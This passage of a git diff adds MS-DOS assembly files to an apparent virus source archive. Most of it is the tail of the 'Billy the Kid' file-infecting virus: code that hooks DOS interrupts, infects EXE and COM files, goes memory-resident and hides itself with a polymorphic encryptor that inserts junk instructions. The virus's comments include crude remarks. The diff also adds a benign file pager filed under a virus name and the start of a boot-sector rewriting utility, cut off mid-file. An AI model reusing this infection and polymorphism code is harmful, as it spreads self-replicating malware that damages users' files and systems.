xor dx, dx + pushf + call dword ptr cs:[int21ip] + pop dx + jc writeerror + cmp ax, cx + jb writeerror + + push cs + pop ds + sub dx, 0003h + mov [dsalto], dx + mov ax, 4200h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + + or bp, bp + jz esexe3 + mov ah, 40h + mov cx, 0003h + mov dx, offset cambiazo + pushf + call dword ptr cs:[int21ip] + jc writeerror +esexe3: + + mov dx,[ffecha] + mov cx,[fhora] + and cl, 11111000b + or cl, 00000101b + mov ax, 5701h + pushf + call dword ptr cs:[int21ip] +writeerror: + pop dx + pop ds + +readerror: + mov ah, 3Eh + pushf + call dword ptr cs:[int21ip] + +openerror: + call setattr + + mov dx, [int24ip] + mov ds, [int24cs] + mov al, 24h + call setintvec + + mov ah, 49h + pushf + call dword ptr cs:[int21ip] + +memoerror: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp finfexeC +fexec endp + + + + +alineafile proc + xor cx, cx + mov dx, cx + mov ax, 4202h + pushf + call dword ptr cs:[int21ip] + mov cx, ax + neg cl + and cx, 000Fh + mov cs:[agregado], cx + mov ah, 40h + pushf + call dword ptr cs:[int21ip] + mov ax, 4202h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + ret +alineafile endp + + + +getattr proc + mov ax, 4300h + pushf + call dword ptr cs:[int21ip] + mov cs:[fattr], cx + mov ax, 4301h + xor cx, cx + pushf + call dword ptr cs:[int21ip] + ret +getattr endp + + +setattr proc + mov ax,4301h + mov cx, cs:[fattr] + pushf + call dword ptr cs:[int21ip] + ret +setattr endp + + + +hand24 proc + xor al, al + iret +hand24 endp + + + +crea proc +; Entrada +; ES := Segmento a donde se va a crear +; DS := Segmento de cdigo +; Salida +; DI := Longitud + + xor di, di + push bx + call genpar + pop bx + push di + mov cx, offset fincomienzor-offset comienzor + mov si, offset comienzor + rep movsb +alinea: + test di, 000Fh + jz yalineado + inc di + jmp alinea +yalineado: + + or bp, bp + jnz escom41 + + + push ds + + push es + pop ds + + xor cx, cx + mov dx, cx + mov ax, 4200h + pushf + call dword ptr cs:[int21ip] + + mov ah, 3Fh + mov cx, 001Ch + lea dx, [di+offset finporfin] + mov si, dx + pushf + call dword ptr cs:[int21ip] + jc puchaaaa1 + + mov ax, cs:[longlo] ; + mov dx, cs:[longhi] ; Compruebo si tiene overlays + sub ax, cs:[agregado] ; + sbb dx, 0000h ; + mov cx, 0200h ; + div cx ; + or dx, dx ; + jz nomas2 ; + inc ax ; +nomas2: ; + cmp dx, [si+02h] ; + jne puchaaaa1 ; + cmp ax, [si+04h] ; + jne puchaaaa1 ; + + mov ax, [si+08h] + mov cs:[shead], ax + mov ax, [si+0Ah] + mov cs:[minimo], ax + mov ax, [si+10h] + mov cs:[ofsstk], ax + mov ax, [si+0Eh] + mov cs:[segstk], ax + mov ax, [si+14h] + mov cs:[ofsexe], ax + mov ax, [si+16h] + mov cs:[segexe], ax + + push bx + + jmp fsdf + + +puchaaaa1: + jmp puchaaaa +escom41: + jmp escom4 + + +fsdf: + mov ax, cs:[longlo] + mov dx, cs:[longhi] + + push ax + push dx + + add ax, offset finporfin + adc dx, 0000h + add ax, di + adc dx, 0000h + + mov cx, 0200h + div cx + + or dx, dx + jz nomas1 + inc ax +nomas1: + mov [si+02h], dx + mov [si+04h], ax + mov cs:[fsize], ax + pop dx + pop ax + mov bx, dx + mov cl, 04h + shr ax, cl + shr dx, cl + mov cl, 0Ch + and bx, 000Fh + shl bx, cl + or ax, bx + pop bx + sub ax, [si+08h] + mov [si+16h], ax + mov cs:[segcsm], ax + dec ax + mov [si+0Eh], ax + lea ax, [di+offset finporfin+00FFh] + mov [si+10h], ax + mov word ptr [si+14h], 0000h + + mov ax, 4200h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + + mov ah, 40h + mov cx, 001Ch + mov dx, si + pushf + call dword ptr cs:[int21ip] + jc puchaaaa + pop ds +escom4: + xor si, si + mov cx, offset finporfin + rep movsb + mov ax, di + pop di + push ax + sub ax, di + mov cx, ax + dec ax + dec ax + mov si, di + mov di, [dlongit] + mov es:[di+01h], ax + pop di + + push ds + push es + pop ds + call encript + pop ds + mov ax, 4202h + xor cx, cx + mov dx, cx + pushf + call dword ptr cs:[int21ip] + clc + ret + +puchaaaa: + pop ds + pop di + stc + ret +crea endp + + + + + + + + + + +;*******************COMIENZO DE RUTINAS PMORFICAS****************** +rand proc near + push ds + push es + push bx + + xor ax, ax + mov es, ax + mov ax, cs:[segale] + cmp ax, 61440 + jb menor + mov ax, 61339 +menor: + mov ds, ax + mov bx, cs:[ofsale] + mov ax, [bx] + mov cs:[segale], ax + mov bx, es:[046Ch] + mov ax, [bx] + add bx, ax + mov cs:[ofsale], bx + mov ax, [bx+10] + xor ax, bx + pop bx + pop es + pop ds + ret +rand endp + + + +encript proc near +;Entrada +; DS:SI := Puntero a comienzo +; CX := Longitud + + push si +bucle: +clave1 label byte + db 80h, 34h, 0FFh ; xor byte ptr [si],0FFh +clave2 label byte + db 80h, 04h, 0FFh ; add byte ptr [si],0FFh + inc si + loop bucle + pop si + ret +encript endp + + + + +fillclv proc near +;ENTRADA +; DH : Clave(0=Clave1/1=Clave2) + + xor bh, bh + call rand + mov bl, al + and bl, 03h ; 03h = 00000011b + mov al, 80h + mov ah, offset tencri[bx] + or dh, dh + jz sc2 + mov word ptr ds:[offset clave1], ax + mov ah, offset tencri[bx+4] + mov word ptr ds:[offset clavd1], ax + jmp short finfillclv +sc2: + mov word ptr ds:[offset clave2], ax + mov ah, offset tencri[bx+4] + mov word ptr ds:[offset clavd2], ax +finfillclv: + ret +fillclv endp + + + + +pone proc near +;Entrada +; AH := Modo (0=intil/1=til) + + push cx + + or ah, ah + jz noutil + + xor dh, dh + mov dl, 0Ah + sub dl, cl + cmp dl, 03h + jz estres + cmp dl, 04h + jz escuatro + cmp dl, 05h + jz esdos + cmp dl, 08h + jz esocho + jmp listo +esdos: + mov [dirbucle], di + jmp listo +estres: + mov [dlongit], di + jmp listo +escuatro: + mov [ddespl], di + jmp listo +esocho: + mov [dirfbucle], di + +listo: + mov cx, offset tablas + mov bx, offset tablasi + call lopone + jmp short finpone +noutil: + push cx + mov ah, 2Ah ; Get system date + pushf + call dword ptr cs:[int21ip] + mov si, dx + mov ah, 2Ch ; Get system time + pushf + call dword ptr cs:[int21ip] + xor si, dx + and si, 0001h ; 0003h= 00000000 00000001b + inc si + mov cx, si +bucle2: + push cx + call rand + xor dh, dh + mov dl, al + and dl, 07h ; 07h = 00000111b + mov cx, offset tablln + mov bx, offset tablano + call lopone + pop cx + loop bucle2 + pop cx + +finpone: + pop cx + ret + +proc lopone + shl dl, 1 + add dx, cx + push bx + mov bx, dx + mov ax, [bx] + pop bx + mov cl, ah + xor ch, ch + mov si, bx + xor ah, ah + add si, ax + cld + rep movsb + ret +lopone endp +pone endp + + + + + +genpar proc near +;Entrada +; ES:DI := Puntero a desencriptor a generar +; DS := Segmento de cdigo + + push ds + push es + + push cs + pop ds + + call rand + + mov ds:[offset clavd2+2], ah ; + mov ds:[offset clave2+2], ah ; Set up claves + mov ds:[offset clavd1+2], al ; + mov ds:[offset clave1+2], al ; + + xor dh, dh + call fillclv + inc dh + call fillclv + + mov cx, 000Ah + pop es +bucle1: + xor ah, ah + call pone + inc ah + call pone + loop bucle1 + + push di + mov di, [dirfbucle] + inc di + mov ax, di + inc ax + sub ax, [dirbucle] + neg ax + stosb + mov di, [ddespl] + pop ax + mov es:[di+01h], ax + mov di, ax + pop ds + ret +genpar endp + + + +;************************TABLA DE ENCRIPTORES****************** +tencri label byte + db 04h + db 2Ch + db 34h + db 34h + + db 2Ch + db 04h + db 34h + db 34h + + +;************************FIN TABLA ENCRIPTORES****************** + + +;****************************TABLA UTIL*************************** +tablas db 00, 01, 01, 01, 02, 01, 03, 03, 06, 03, 09, 03, 12, 03, 15, 01 + db 16, 02, 18, 01 +tablasi label byte + db 1Eh ; push ds + db 0Eh ; push cs + db 1Fh ; pop ds + db 0B9h ; mov cx, Longitud a desencriptar +dlongit dw ? ; + db 0BEh ; mov si, Comienzo +ddespl dw ? ; +clavd2 db 3 DUP (?) +clavd1 db 3 DUP (?) + db 46h ; inc si + db 0E2h ; loop bucle +salto db ? + db 1Fh ; pop ds +;******************************FIN TABLA UTIL************************ + +;****************************TABLA INUTIL*************************** +tablln DB 00, 01, 01, 03, 04, 03, 07, 01, 08, 01, 09, 04, 13, 05, 18, 01 +tablano label byte + db 90h + db 25h, 0FFh, 0FFh + db 0Dh, 00h, 00h + db 0F8h + db 0F9h + db 81h, 0C9h, 00h, 00h + db 80h, 06h, 34h, 12h, 00h + db 0FCh +;***********************FIN TABLA INUTIL************************** + + +;****************************VARIABLES*************************** +dirbucle dw ? +dirfbucle dw ? +segale dw ? +ofsale dw ? + +;*****************************FIN DE RUTINAS PMORFICAS**************** + + + + +;Repeticin, pero en el otro segmento para que quede residente + +comienzor: + call acanomasr +acanomasr label near + pop ax + add ax, offset fincomienzor - offset acanomasr + test al, 0Fh + jz noincr + add ax, 0010h +noincr: + mov cl, 04h + shr ax, cl + mov cx, ax + push cs + pop bx + add bx, ax + xor ax, ax + push cs + + push bx + push ax + retf ; Salto a OFS0 +fincomienzor: + +;*****************************VARIABLES******************************* + +longi = offset finporfin +tamres = 0100h +segant dw ? +origen db 'E' + +bufpsp db 10h dup(?) + +original label word +segexe dw 32 +ofsexe dw 0 +segcsm dw 33 +segstk dw 0 +ofsstk dw 0200h +fsize dw 3 +shead dw 32 +minimo dw 1 + + +fhandle dw ? +fhora dw ? +ffecha dw ? +fattr dw ? + +tapon db 'COMMAND' + +cambiazo db 0E9h +dsalto DW ? + +longlo dw ? +longhi dw ? + +int21ip dw ? +int21cs dw ? +int24ip dw ? +int24cs dw ? + +agregado dw ? + +; db ' (C)1994 S.A.O. Texas. Billy the Kid Virus.' +; db ' Look out boy! This is the only far west virus that will make' +; db ' you cry for being born.' +; db ' P.S. : Listen Led Zeppelin and AC/DC with your sons and God' +; db ' will bless ya. ' +; db ' Leave Castro alone.' +; db ' Superman... Why don't you fuck Luisa????' +; db " That's not a fuckin grafitti, it's a sign." +; db 'Jeroboam y todo el pueblo volvieron a ver a Rehoboam al tercer ' +; db 'dia como lo ordeno el rey.' +; db 'I hate moscas.' +; db 'Hecho en China...no piensen que se hizo aca en Argentina.' + + + +finporfin label byte +porfin ends + + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.browse.asm b/MSDOS/Virus.MSDOS.Unknown.browse.asm new file mode 100644 index 00000000..291e4f1b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.browse.asm @@ -0,0 +1,454 @@ +; BROWSE.ASM -- Full Screen File Pager +; ==================================== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 0080h +Parameter Label Byte + Org 0100h +Entry: Jmp Begin + +; All Data +; -------- + + db 'ATTR=' +Attribute db 0 ; Current screen attribute + db 'SHIFT=' +ShiftHoriz db 8 ; Horizontal shift screen default +DosVersionFail db 'Requires DOS 2.0 or above$' +NoSpaceFail db 'Not enough memory$' +FileFail db 'File Not Found$' +ScreenFail db 'Unsupported video mode$' +Delimiters db 9,' ,;=/' ; Delimiters in parameter +FileHandle dw ? ; Use for saving file handle +WSMode db 0FFh ; AND value for non-WordStar mode +LineLength db ? ; Length of line (from BIOS) +NumberLines db 25,0 ; Number of lines (check EGA BIOS) +ScreenSize dw ? ; Size of screen in bytes +CheckRetrace db 1 ; Flag zero if EGA or MONO used +Addr6845 dw ? ; Could use for retrace check +ScreenAddr Label DWord ; Address of screen +ScreenOff dw 0 ; Higher for non-page 0 +ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7 +ScreenStart dw ? ; Points within buffer +EndOfFile dw ? ; Points within buffer +FileOffset dw -1, -1 ; Address within file of buffer data +HorizOffset dw 0 ; Horizontal offset for display +RightMargin dw 0 ; Right margin for offset display +Dispatch dw Home, Up, PgUp, Dummy, Left + dw Dummy, Right, Dummy, End, Down, PgDn + +; Check DOS Version for 2.0 or above +; ---------------------------------- + +Begin: Cld ; All string directions forward + Mov AH,30h + Int 21h ; Get DOS Version Number + Cmp AL,2 ; Check for 2.0 or later + Jae DOSVerOK + Mov DX,Offset DOSVersionFail +ErrorExit: Mov AH,9 ; Write error message + Int 21h + Int 20h + +; Parse Command Line to get File Name and WordStar flag +; ----------------------------------------------------- + +DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter +NameSearch: Lodsb ; Get byte + Cmp AL,13 ; Check if carriage return + Jz NoFileFound ; If so, no file name + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,5 ; Number of delimiters (no /) + Repne Scasb ; See if a match + Je NameSearch ; If a delimiter, keep looking + Mov DX,SI ; Otherwise found file name + Dec DX ; Points to beginning of it +EndSearch: Lodsb ; Get next byte + Cmp AL,13 ; See if carriage return + Je GotFileEnd ; If so, we're all done + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,6 ; Number (including /) + Repne Scasb ; See if a match + Jne EndSearch ; If not, still in file name + Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name + Jcxz GotFlag ; If slash, check for W + Jmp EndSearch ; Or continue flag search +GotFlag: Lodsb ; Get byte after / flag + Or AL,20h ; Uncapitalize + Cmp AL,'w' ; See if w for WordStar mode + Jnz GotFileEnd ; If not, just ignore it + Mov [WSMode],7Fh ; AND value for WordStar + +; Open the File +; ------------- + +GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name + ; DX still points to name + Mov AX,3D00h ; Open file for reading + Int 21h ; by calling DOS + Jnc GotTheFile ; If no error, continue +NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message + Jmp ErrorExit +GotTheFile: Mov [FileHandle],AX ; Save the file handle + +; Get Screen Mode Information from BIOS Data Area +; ----------------------------------------------- + + Push ES ; Save register + Sub AX,AX + Mov ES,AX ; Set ES to 0 (BIOS Data) + Mov AL,ES:[0449h] ; Current Video Mode + Cmp AL,3 ; Check if Color Alpha + Jbe DisplayOK ; Continue if so + Cmp AL,7 ; Check if monochrome display + Je Monochrome ; If so, branch + Mov DX,Offset ScreenFail ; We can't handle graphics + Jmp ErrorExit ; So print an error message +Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment + Mov [CheckRetrace],0 ; Don't have to check retrace +DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns + Mov [LineLength],AL ; Save it + Mov AX,ES:[044Eh] ; Offset into screen buffer + Mov [ScreenOff],AX ; Save it + Mov AX,ES:[0463h] ; Address of 6845 Regsiter + Mov [Addr6845],AX ; Save it + Push ES + Sub DL,DL ; Set Rows to zero first + Sub BH,BH + Mov AX,1130h ; EGA BIOS: Get Information + Int 10h + Pop ES + Or DL,DL ; Check if DL is still zero + Jz NoEGA ; If so, skip rest of stuff + Inc DL + Mov [NumberLines],DL ; Save Number of Lines + Test Byte Ptr ES:[0487h],4 ; Check if must check retrace + Jnz NoEGA + Mov [CheckRetrace],0 ; EGA says we don't have to +NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later) + Pop ES + Mov AL,[LineLength] ; Length of each line + Mul [NumberLines] ; Total chars on screen + Add AX,AX ; Double for attributes + Mov [ScreenSize],AX ; And Save it + +; See if enough memory is left +; ---------------------------- + + Add AX,Offset ScreenHold ; Add ScreenSize to code end + Add AX,256 ; Add a little stack room + Cmp AX,SP ; Check against stack pointer + Jbe GotEnufMemory ; Continue if OK + Mov DX,Offset NoSpaceFail ; Otherwise end program + Jmp ErrorExit ; with error messae + +; Get Current Screen Attribute +; ---------------------------- + +GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set + Jnz GotAttribute ; If so, move on + Mov DL,' ' ; Write out a byte + Mov AH,2 ; using DOS + Int 21h + Mov AL,8 ; Now backspace + Mov AH,14 ; using BIOS call + Int 10h + Mov AH,8 ; Read character & attribute + Int 10h ; using BIOS call (BH = pg) + Mov [Attribute],AH ; And save attribute + +; Save Current Screen +; ------------------- + +GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit + Mov AX,2523h ; to terminate that way + Int 21h + Mov DI,Offset ScreenHold ; Destination of screen + Mov CX,[ScreenSize] ; Size of screen + Push DS ; Save Source Segment + Lds SI,[ScreenAddr] ; Get screen address + Rep Movsb ; Move in the bytes + Pop DS ; Restore Source Segment + +; Get Keyboard Key and Decide on Action +; ------------------------------------- + + Call Home ; Read file in + Mov [ScreenStart],SI ; Set buffer address +KeyLoop: Call UpDateScreen ; Write file to screen +GetKey: Mov AH,8 ; Get key + Int 21h ; by calling DOS + Cmp AL,27 ; Check if ESC + Je Terminate ; If so, terminate + Cmp AL,0 ; Check if extended + Jnz GetKey ; If not, try again + Mov AH,8 ; Get extended code + Int 21h ; by calling DOS + Sub AL,71 ; Subtract Home key value + Jb GetKey ; If below that, not valid + Cmp AL,(81 - 71) ; Check if above PgDn + Ja GetKey ; If so, ignore it + Sub AH,AH ; Zero out top byte + Add AX,AX ; Double for word access + Mov BX,AX ; Offset in dispatch table + Mov SI,[ScreenStart] ; Set current buffer pointer + Call [Dispatch + BX] ; Do the call + Mov [ScreenStart],SI ; Set new buffer pointer + Jmp KeyLoop ; And update the screen + +; Terminate -- Restore screen and close file +; ------------------------------------------ + +Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen + Les DI,[ScreenAddr] ; Address of Display + Mov CX,[ScreenSize] ; Number of characters + Rep Movsb ; Move them back + Mov BX,[FileHandle] ; Get File Handle + Mov AH,3Eh ; Close File + Int 21h + Int 20h ; Terminate + +; Cursor Key Routines -- Home Key +; ------------------------------- + +Home: Sub BX,BX ; For zeroing out values + Mov AX,[FileOffset] ; Check if read in file + Or AX,[FileOffset + 2] + Mov [FileOffset],BX ; Zero out file address + Mov [FileOffset + 2],BX + Mov [HorizOffset],BX ; Zero out horizontal offset + Mov SI,Offset Buffer ; Reset buffer pointer + Jz Dummy ; Skip file read if in already + Mov DX,Offset Buffer ; Area to read file in + Mov CX,32768 ; Number of bytes to read + Call FileRead ; Read in file +Dummy: Ret + +; Up and PgUp Keys +; ---------------- + +Up: Call GetPrevChar ; Get previous char in buffer + Jc UpDone ; If none available, finish +UpLoop: Call GetPrevChar ; Get previous char again + Jc UpDone ; if none, we're done + Cmp AL,10 ; Check if line feed + Jnz UpLoop ; If not, try again + Call GetNextChar ; Get char after line feed +UpDone: Ret + +PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgUpLoop: Call Up ; Do UP that many times + Loop PgUpLoop + Ret + +; Left and Right Keys +; ------------------- + +Left: Mov [HorizOffset],0 ; Reset Horizontal Offset + Ret + +Right: Mov AL,[ShiftHoriz] ; Get places to shift + Sub AH,AH + Add [HorizOffset],AX ; Move that many right + Ret + +; End, Down, and PgDn Keys +; ------------------------ + +End: Mov BX,SI ; Save buffer pointer + Call PgDn ; Go page down + Cmp BX,SI ; Check if we did so + Jnz End ; If so, do it again + Ret + +Down: Call GetNextChar ; Get next character + Jc NoMoreDown ; If no more, we're done +DownLoop: Call GetNextChar ; Get one again + Jc UpLoop ; If no more, find prev LF + Cmp AL,10 ; See if line feed + Jnz DownLoop ; If not, continue +NoMoreDown: Ret + +PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgDnLoop: Call Down ; Do DOWN that many times + Loop PgDnLoop + Ret + +; Update Screen +; ------------- + +UpdateScreen: Push ES + Mov SI,[ScreenStart] ; Address of data in buffer + Les DI,[ScreenAddr] ; Address of display + Mov CX,ScreenSize ; Number of bytes in screen + Shr CX,1 ; Half for number of chars + Mov AL,' ' ; Will blank screen + Mov AH,[Attribute] ; With screen attribute + Rep Stosw ; Blank it + Mov AL,[LineLength] ; Length of display line + Sub AH,AH + Add AX,[HorizOffset] ; Add Horizontal Offset + Mov [RightMargin],AX ; That's right display margin + Sub DL,DL ; Line Number +LineLoop: Sub BX,BX ; Column Number + Mov AL,[LineLength] ; Use Line Length + Mul DL ; and Line Number + Add AX,AX ; to recalculate + Mov DI,AX ; display destination + Add DI,[ScreenOff] ; Add beginning address +CharLoop: Call GetNextChar ; Get next character + Jc EndOfScreen ; If no more, we're done + And AL,[WSMode] ; Will be 7Fh for WordStar + Cmp AL,13 ; Check for carriage return + Je CharLoop ; Do nothing if so + Cmp AL,10 ; Check for line feed + Je LineFeed ; Do routine if so + Cmp AL,9 ; Check for tab + Je Tab ; Do routine if so + Mov CX,1 ; Just 1 char to display +PrintChar: Cmp BX,[HorizOffset] ; See if we can print it + Jb NoPrint + Cmp BX,[RightMargin] ; See if within margin + Jae NoPrint + Mov AH,[Attribute] ; Attribute for display + Cmp [CheckRetrace],0 ; See if must stop snow + Jz WriteIt ; If not, skip retrace wait + Push BX + Push DX + Mov BX,AX ; Save character and attribute + Mov DX,[Addr6845] ; Set up I/O address + Add DX,6 +RetraceWait1: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jc RetraceWait1 ; ends + Cli ; Clear interrupts +RetraceWait2: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jnc RetraceWait2 ; begins + Mov AX,BX ; Get back character & attr + Stosw ; Write to display + Sti ; Enable interrupts again + Pop DX + Pop BX + Jmp Short NoPrint ; Skip around "no snow" write +WriteIt: Stosw ; Write without retrace wait +NoPrint: Inc BX ; Bump up line counter + Loop PrintChar ; Do it CX times + Jmp CharLoop ; Then go back to top +Tab: Mov AX,BX ; Current column number + And AX,07h ; Take lower three bits + Mov CX,8 + Sub CX,AX ; Subtract from 8 + Mov AL,' ' ; Will print CX blanks + Jmp PrintChar +LineFeed: Inc DL ; Next line + Cmp DL,[NumberLines] ; See if down at bottom + Jb LineLoop ; If not, continue +EndOfScreen: Pop ES ; All done -- leave + Ret + +; Get Next Character from buffer +; ------------------------------ +; (Input is SI pointing to buffer, Returns AL, CY if no more) + +GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file + Jae NoMoreNext ; If so, no more chars + Cmp SI,Offset BufferEnd ; See if at end of buffer + Jb CanGetNext ; If not, just get character + Push CX ; Otherwise save registers + Push DX + Push DI + Push ES + Push DS ; Set ES to DS + Pop ES ; (could be different) + Mov SI,Offset BufferMid ; Move 2nd buffer half + Mov DI,Offset Buffer ; to 1st buffer half + Mov CX,16384 + Sub [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Move them + Mov SI,DI ; SI also buffer pointer + Add [FileOffset],32768 ; Adjust file addr to read + Adc [FileOffset + 2],0 + Mov DX,Offset BufferMid ; Place to read file + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Sub [FileOffset],16384 ; Now adjust so reflects + Sbb [FileOffset + 2],0 ; 1st half of buffer + Pop ES ; Get back registers + Pop DI + Pop DX + Pop CX + Jmp GetNextChar ; And try again to get char +CanGetNext: Lodsb ; Get the character +NoMoreNext: Cmc ; So CY set if no more + Ret + +; Get Previous Character from buffer +; ---------------------------------- + +GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer + Ja CanGetPrev ; If not, just get character + Mov AX,[FileOffset] ; See if at top of file + Or AX,[FileOffset + 2] + Jz AtTopAlready ; If so, can't get anymore + Push CX ; Save some registers + Push DX + Mov SI,Offset Buffer ; Move 1st half of buffer + Mov DI,Offset BufferMid ; to 2nd half of buffer + Mov CX,16384 + Add [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Do the move + Sub [FileOffset],16384 ; Adjust file addr for read + Sbb [FileOffset + 2],0 + Mov DX,Offset Buffer ; Area to read file into + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Pop DX ; Get back registers + Pop CX + Jmp Short CanGetPrev ; Now get character +AtTopAlready: Stc ; CY flag set for no more + Ret +CanGetPrev: Dec SI ; Move pointer back + Mov AL,[SI] ; Get the character + Clc ; CY flag reset for success + Ret + +; Read CX bytes from the file into DX buffer +; ------------------------------------------ + +FileRead: Push AX ; Save some registers + Push BX + Push CX + Push DX + Mov [EndOfFile],-1 ; Initialize this + Mov DX,[FileOffset] ; Get file address to read + Mov CX,[FileOffset + 2] + Mov BX,[FileHandle] ; Get file Handle + Sub AL,AL ; Do LSEEK from beginning + Mov AH,42h ; LSEEK call + Int 21h + Pop DX ; Get back destination + Pop CX ; Get back count + Mov AH,3Fh ; Read file function call + Int 21h + Jnc NoReadError ; If no error, continue + Sub AX,AX ; Otherwise read zero bytes +NoReadError: Cmp AX,CX ; See if 32K has been read + Je GotItAll ; If so, we're home free + Add AX,DX ; Otherwise add to buffer addr + Mov [EndOfFile],AX ; And save as end of file +GotItAll: Pop BX + Pop AX + Ret + +; File Buffer and Screen Hold Areas +; --------------------------------- + +Buffer Label Byte ; Area for file reads +BufferMid equ Buffer + 16384 ; Halfway through it +BufferEnd equ BufferMid + 16384 ; At end of it +ScreenHold equ BufferEnd ; Area for holding screen +CSEG EndS ; End of segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bt.asm b/MSDOS/Virus.MSDOS.Unknown.bt.asm new file mode 100644 index 00000000..11458706 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bt.asm @@ -0,0 +1,374 @@ + page ,132 + title BootThru - v1.05 + +;------------------------------------------------------------------------ +; +; BootThru - Copyright (c) Bill Gibson - 1987 +; Lathrup Village, Mi 48076 +; +; Ver. 1.00 - Initial version (not rlsd) - 01/11/87 +; 1.01 - revised code structure " - 01/25/87 +; 1.02 - revised Modify Proc " - 02/01/87 +; 1.03 - enhanced error message output " - 02/06/87 +; 1.04 - revised Print Proc released - 02/07/87 +; 1.05 - fix incompatibility plbm - 02/09/87 +; +; +; For Public Domain Use. Not for Sale or Hire. +;------------------------------------------------------------------------ +COMMENT * + + Routine to modify diskette boot record, using drive A: or B:, + thus circumventing DOS' non-system disk display error. + + Usage: + BT A: -> transfer new boot record to drive A: + BT B: -> transfer new boot record to drive B: + BT -> starts program, default is drive A: +* +;------------------------------------------------------------------------ +code SEGMENT BYTE PUBLIC 'code' +ASSUME CS:code,DS:code,SS:code + ORG 5Ch ;drive id +param1 LABEL BYTE + ORG 5Dh ;elim spurrious characters +param2 LABEL BYTE + + ORG 100h + +BootThru PROC FAR + MOV CS:stk_ptr,SP ;save stack ptr to ensure ret + CALL Chk_Ver ;dos 2.0 or greater + + CALL Scan + CALL Dwrite + JMP SHORT exit +error: + MOV SP,stk_ptr ;insure proper return + CALL Print ;print error messages + MOV AL,1 ;set errorlevel to 1 +exit: + MOV AH,4Ch + INT 21h + +;------------------------------------------------------------------------ +; Work Area - constants,equates,messages +;------------------------------------------------------------------------ +drive DB 0 +stk_ptr DW 0 + +blank EQU 020h ;ascii space code +cr EQU 0Dh ;carriage return +lf EQU 0Ah ;line feed +esc EQU 01Bh ;escape char +stopper EQU 255 ;end of display line indicator + +logo DB cr,lf,'BootThru - The Diskette Modifier' + DB cr,lf,'Version 1.05 - Bill Gibson 1987',cr,lf,stopper + +usage DB cr,lf,'Usage: BT [drive A: or B:]',cr,lf,stopper +sorry DB cr,lf,'Wrong PC DOS Version',cr,lf,stopper +msg1 DB cr,lf,'Insert diskette in drive A, and press ENTER' + DB ' when ready ...',stopper +msg2 DB cr,lf,'Insert diskette in drive B, and press ENTER' + DB ' when ready ...',stopper +msg3 DB cr,lf,'Press ENTER to modify another disk',cr,lf + DB 'or ESCape to quit...',stopper +msg4 DB cr,lf,cr,lf,'Transferring New Boot Sector',cr,lf,stopper +msg5 DB cr,lf,'Transfer Completed',cr,lf,stopper + +msg80h DB cr,lf,cr,lf,'* Error * Drive failed to respond.',cr,lf,cr,lf,stopper +msg40h DB cr,lf,cr,lf,'* Error * Seek operation failed.',cr,lf,cr,lf,stopper +msg20h DB cr,lf,cr,lf,'* Error * Controller failure.',cr,lf,cr,lf,stopper +msg10h DB cr,lf,cr,lf,'* Error * Bad CRC on diskette write.',cr,lf,cr,lf,stopper +msg08h DB cr,lf,cr,lf,'* Error * DMA overrun on operation.',cr,lf,cr,lf,stopper +msg04h DB cr,lf,cr,lf,'* Error * Requested sector not found.',cr,lf,cr,lf,stopper +msg03h DB cr,lf,cr,lf,'* Error * Write protected diskette.',cr,lf,cr,lf,stopper +msg02h DB cr,lf,cr,lf,'* Error * Address mark not found.',cr,lf,cr,lf,stopper +msggen DB cr,lf,cr,lf,'* Unknown Error *',cr,lf,cr,lf,stopper + +;-------------------------------------------------------------------------- +; Sub-Routines: +;-------------------------------------------------------------------------- +Chk_Ver PROC NEAR + MOV AH,30h ;verify DOS 2.0 or later + INT 21h + CMP AL,2 + JAE SHORT chk_ok + MOV DX,OFFSET sorry + JMP error +chk_ok: + RET +Chk_Ver ENDP + +;-------------- + +Scan PROC NEAR ;check for any spurrious chars + MOV AL,[param2] + CMP AL,blank ;anything ? + JNZ shlp ;yes, give error msg +s1: + MOV AL,[param1] ;check for drive parameters + OR AL,AL ;anything ? + JNZ s2 ;jump and test + MOV DX,OFFSET logo ;setup default drive A: + CALL Print + MOV drive,0 + MOV DX,OFFSET msg1 + RET +s2: + CMP AL,01 ;setup for drive A: + JZ SHORT sdrvA + CMP AL,02 ;for drive B: + JZ SHORT sdrvB +shlp: + MOV DX,OFFSET usage ;display for invalid drives + JMP error +sdrvA: + MOV DX,OFFSET logo + CALL Print + MOV drive,0 + MOV DX,OFFSET msg1 + RET +sdrvB: + MOV DX,OFFSET logo + CALL Print + MOV drive,1 + MOV DX,OFFSET msg2 + RET + +Scan ENDP + +;-------------- + +Dwrite PROC NEAR ;transfer new disk boot sector + + CALL Print ;get ready +d1: + MOV AH,8 ;use function 8 in order to detect + INT 21h ;ctrl-breaks + CMP AL,esc ;ESC & Ctrl-Break aborts process + JZ d5 + CMP 